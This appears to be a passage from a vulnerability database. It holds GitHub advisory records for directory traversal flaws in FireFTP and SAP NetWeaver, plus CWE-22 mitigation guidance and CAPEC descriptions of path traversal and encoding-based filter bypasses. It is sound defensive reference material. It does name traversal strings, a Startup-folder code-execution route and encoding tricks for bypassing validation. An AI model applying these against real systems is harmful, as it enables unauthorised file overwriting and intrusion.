"github_reviewed_at": null,
"nvd_published_at": "2008-05-22T13:09:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in the FireFTP add-on before 0.98.20080518 for Firefox allows remote FTP servers to create or overwrite arbitrary files via ..\\ (dot dot backslash) sequences in responses to (1) MLSD and (2) LIST commands, a related issue to CVE-2002-1345. NOTE: this can be leveraged for code execution by writing to a Startup folder.",
"id": "GHSA-6hxg-34v8-xgrp",
"modified": "2025-04-09T03:54:49Z",
"published": "2022-05-01T23:49:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2399"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42516"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30284"
},
{
"type": "WEB",
"url": "http://vuln.sg/fireftp0971-en.html"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/906907"
},
{
"type": "WEB",
"url": "http://www.mozdev.org/source/browse/fireftp/src/content/js/connection/controlSocket.js.in.diff?r1=1.58%3Br2=1.59%3Bf=h"
},
{
"type": "WEB",
"url": "http://www.mozdev.org/source/browse/fireftp/src/content/js/connection/controlSocket.js.in.diff?r1=1.58;r2=1.59;f=h"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29289"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/1596/references"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6J2V-3CG6-9W64
Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2024-04-04 05:35In SAP NetWeaver (BI CONT ADDON) - versions 707, 737, 747, 757, an attacker can exploit a directory traversal flaw in a report to upload and overwrite files on the SAP server. Data cannot be read but if a remote attacker has sufficient (administrative) privileges then potentially critical OS files can be overwritten making the system unavailable.
{
"affected": [],
"aliases": [
"CVE-2023-29186"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-11T04:16:00Z",
"severity": "MODERATE"
},
"details": "In SAP NetWeaver (BI CONT ADDON) - versions 707, 737, 747, 757, an attacker can exploit a directory traversal flaw in a report to\u00a0upload and overwrite files on the SAP server. Data cannot be read but if a remote attacker has sufficient (administrative) privileges then potentially critical OS files can be overwritten making the system unavailable.\n\n",
"id": "GHSA-6j2v-3cg6-9w64",
"modified": "2024-04-04T05:35:48Z",
"published": "2023-07-06T19:24:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29186"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/3305907"
},
{
"type": "WEB",
"url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.